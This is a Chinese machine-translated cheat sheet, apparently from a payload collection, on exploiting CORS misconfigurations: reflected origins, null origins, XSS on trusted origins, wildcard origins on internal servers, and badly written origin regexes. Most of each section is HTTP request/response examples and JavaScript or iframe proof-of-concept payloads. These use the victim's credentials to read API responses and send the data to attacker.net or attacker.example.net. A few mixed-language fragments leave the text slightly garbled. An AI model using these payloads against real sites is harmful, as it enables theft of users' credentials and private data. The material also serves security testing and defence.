CORS 配置错误 某个 API 域名存在全站范围的 CORS 配置错误。这使得攻击者能够代表用户发起跨域请求,因为应用程序未对 Origin 头进行白名单限制,并且设置了 ,这意味着我们可以使用受害者的凭据从攻击者的站点发起请求。 概述 工具 要求 方法论 Origin 反射 空 Origin 受信 Origin 上的 XSS 无凭据的通配符 Origin 扩展 Origin 实验环境 参考文献 工具 s0md3v/Corsy - CORS 配置错误扫描器 chenjj/CORScanner - 快速的 CORS 配置错误漏洞扫描器 @honoki/PostMessage - POC 构建工具 trufflesecurity/of-cors - 利用内部网络中的 CORS 配置错误
某个 API 域名存在全站范围的 CORS 配置错误。这使得攻击者能够代表用户发起跨域请求,因为应用程序未对 Origin 头进行白名单限制,并且设置了
Access-Control-Allow-Credentials: true,这意味着我们可以使用受害者的凭据从攻击者的站点发起请求。
Origin: https://evil.comAccess-Control-Allow-Credential: trueAccess-Control-Allow-Origin: https://evil.com OR Access-Control-Allow-Origin: null通常,你需要瞄准某个 API 端点。使用以下有效载荷来利用目标上的 CORS 配置错误 https://victim.example.com/endpoint。
GET /endpoint HTTP/1.1 Host: victim.example.com Origin: https://evil.com Cookie: sessionid=... HTTP/1.1 200 OK Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true {"[private API key]"}
此 PoC 要求相应的 JS 脚本托管在 evil.com 上。
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://victim.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='//attacker.net/log?key='+this.responseText; };
或者
<html> <body> <h2>CORS PoC</h2> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhr.open("GET", "https://victim.example.com/endpoint", true); xhr.withCredentials = true; xhr.send(); } </script> </body> </html>
服务器可能不会反射完整的 Origin header but
that the null,而是允许空 Origin。服务器响应中可能如下所示:
GET /endpoint HTTP/1.1 Host: victim.example.com Origin: null Cookie: sessionid=... HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true {"[private API key]"}
可以通过将攻击代码放入 iframe 中并使用 data URI 方案来利用这一点。如果使用 data URI 方案,浏览器将在请求中使用 null Origin:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://victim.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText); }; </script>"></iframe>
如果应用程序实现了严格的允许 Origin 白名单,上述漏洞利用代码将不起作用。但是,如果你在受信 Origin 上拥有 XSS,就可以注入上述漏洞利用代码,从而再次利用 CORS。
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
如果服务器以通配符 Origin * 进行响应,浏览器绝不会发送 Cookie。不过,如果服务器不需要身份验证,仍然可以访问服务器上的数据。这种情况可能发生在无法从 Internet 访问的内部服务器上。攻击者的网站随后可以 pivot 到内部网络,并在无需身份验证的情况下访问服务器的数据。
* is the only wildcard origin https://*.example.com is not valid
GET /endpoint HTTP/1.1 Host: api.internal.example.com Origin: https://evil.com HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"[private API key]"}
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://api.internal.example.com/endpoint',true); req.send(); function reqListener() { location='//attacker.net/log?key='+this.responseText; };
有时,原始 Origin 的某些扩展形式在服务器端并未被过滤。这可能是由于使用了实现不当的正则表达式来验证 Origin 头所致。
在此场景中,任何插入到 example.com 前面的前缀都会被服务器接受。
GET /endpoint HTTP/1.1 Host: api.example.com Origin: https://evilexample.com HTTP/1.1 200 OK Access-Control-Allow-Origin: https://evilexample.com Access-Control-Allow-Credentials: true {"[private API key]"}
此 PoC 要求相应的 JS 脚本托管在 evilexample.com 上。
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://api.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='//attacker.net/log?key='+this.responseText; };
在此场景中,服务器使用了一个正则表达式,其中点未被正确转义。例如:^api.example.com$ instead of ^api\.example.com$。因此,点可以被任何字母替换,从而允许来自第三方域的访问。
GET /endpoint HTTP/1.1 Host: api.example.com Origin: https://apiiexample.com HTTP/1.1 200 OK Access-Control-Allow-Origin: https://apiiexample.com Access-Control-Allow-Credentials: true {"[private API key]"}
此 PoC 要求相应的 JS 脚本托管在 apiiexample.com 上。
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://api.example.com/endpoint',true); req.withCredentials = true; req.send(); function reqListener() { location='//attacker.net/log?key='+this.responseText; };
免责声明:
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。以原始语言版本为准,其应被视为权威来源。对于关键信息,建议采用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。